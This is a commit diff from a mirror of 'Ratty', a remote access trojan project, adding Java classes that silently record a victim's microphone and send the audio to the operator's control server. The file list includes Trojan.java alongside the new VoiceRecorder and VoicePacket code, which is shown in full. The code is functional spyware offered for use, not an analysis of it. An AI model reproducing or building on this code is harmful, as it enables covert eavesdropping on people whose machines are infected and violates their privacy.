mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
11 changed files with 267 additions and 53 deletions
-
BINRatty/res/menu_icons.png
-
7Ratty/src/de/sogomn/rat/IRecorderListener.java
-
2Ratty/src/de/sogomn/rat/Ratty.java
-
16Ratty/src/de/sogomn/rat/Trojan.java
-
94Ratty/src/de/sogomn/rat/VoiceRecorder.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
58Ratty/src/de/sogomn/rat/packet/VoicePacket.java
-
2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
37Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
17Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
-
82Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java
Before Width: 96 | Height: 96 | Size: 692 B After Width: 96 | Height: 96 | Size: 756 B |
@ -0,0 +1,7 @@ |
|||||
|
package de.sogomn.rat; |
||||
|
|
||||
|
public interface IRecorderListener { |
||||
|
|
||||
|
void done(final VoiceRecorder source, final byte[] data); |
||||
|
|
||||
|
} |
@ -0,0 +1,94 @@ |
|||||
|
package de.sogomn.rat; |
||||
|
|
||||
|
import java.io.ByteArrayOutputStream; |
||||
|
import java.io.IOException; |
||||
|
|
||||
|
import javax.sound.sampled.AudioSystem; |
||||
|
import javax.sound.sampled.LineUnavailableException; |
||||
|
import javax.sound.sampled.TargetDataLine; |
||||
|
|
||||
|
import de.sogomn.engine.util.AbstractListenerContainer; |
||||
|
|
||||
|
public final class VoiceRecorder extends AbstractListenerContainer<IRecorderListener> { |
||||
|
|
||||
|
private ByteArrayOutputStream out; |
||||
|
private TargetDataLine line; |
||||
|
private Thread thread; |
||||
|
|
||||
|
private int maximum; |
||||
|
|
||||
|
private static final int BUFFER_SIZE = 1024; |
||||
|
|
||||
|
public VoiceRecorder(final int maximum) { |
||||
|
this.maximum = maximum; |
||||
|
|
||||
|
out = new ByteArrayOutputStream(); |
||||
|
} |
||||
|
|
||||
|
public VoiceRecorder() { |
||||
|
this(0); |
||||
|
} |
||||
|
|
||||
|
private byte[] getData() { |
||||
|
final byte[] data = out.toByteArray(); |
||||
|
|
||||
|
out.reset(); |
||||
|
|
||||
|
return data; |
||||
|
} |
||||
|
|
||||
|
private void captureAudio() { |
||||
|
try { |
||||
|
final byte[] data = new byte[BUFFER_SIZE]; |
||||
|
|
||||
|
line.read(data, 0, BUFFER_SIZE); |
||||
|
out.write(data); |
||||
|
} catch (final IOException ex) { |
||||
|
ex.printStackTrace(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void start() { |
||||
|
final Runnable runnable = () -> { |
||||
|
while (out.size() < maximum) { |
||||
|
captureAudio(); |
||||
|
} |
||||
|
|
||||
|
stop(); |
||||
|
|
||||
|
final byte[] data = getData(); |
||||
|
|
||||
|
notifyListeners(listener -> listener.done(this, data)); |
||||
|
}; |
||||
|
|
||||
|
try { |
||||
|
line = AudioSystem.getTargetDataLine(null); |
||||
|
thread = new Thread(runnable); |
||||
|
|
||||
|
out.reset(); |
||||
|
line.open(); |
||||
|
line.start(); |
||||
|
thread.start(); |
||||
|
} catch (final LineUnavailableException ex) { |
||||
|
stop(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void stop() { |
||||
|
try { |
||||
|
thread.interrupt(); |
||||
|
line.close(); |
||||
|
out.close(); |
||||
|
} catch (final IOException ex) { |
||||
|
//... |
||||
|
} finally { |
||||
|
thread = null; |
||||
|
line = null; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void setMaximum(final int maximum) { |
||||
|
this.maximum = maximum; |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,58 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import de.sogomn.engine.fx.Sound; |
||||
|
import de.sogomn.rat.ActiveClient; |
||||
|
|
||||
|
public final class VoicePacket extends AbstractPingPongPacket { |
||||
|
|
||||
|
private byte[] data; |
||||
|
|
||||
|
public VoicePacket() { |
||||
|
type = REQUEST; |
||||
|
data = new byte[0]; |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void sendRequest(final ActiveClient client) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void sendData(final ActiveClient client) { |
||||
|
client.writeInt(data.length); |
||||
|
client.write(data); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void receiveRequest(final ActiveClient client) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void receiveData(final ActiveClient client) { |
||||
|
final int length = client.readInt(); |
||||
|
|
||||
|
data = new byte[length]; |
||||
|
|
||||
|
client.read(data); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void executeRequest(final ActiveClient client) { |
||||
|
type = DATA; |
||||
|
|
||||
|
client.addPacket(this); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
protected void executeData(final ActiveClient client) { |
||||
|
final Sound sound = Sound.loadSound(data); |
||||
|
|
||||
|
sound.play(); |
||||
|
} |
||||
|
|
||||
|
public void setData(final byte[] data) { |
||||
|
this.data = data; |
||||
|
} |
||||
|
|
||||
|
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue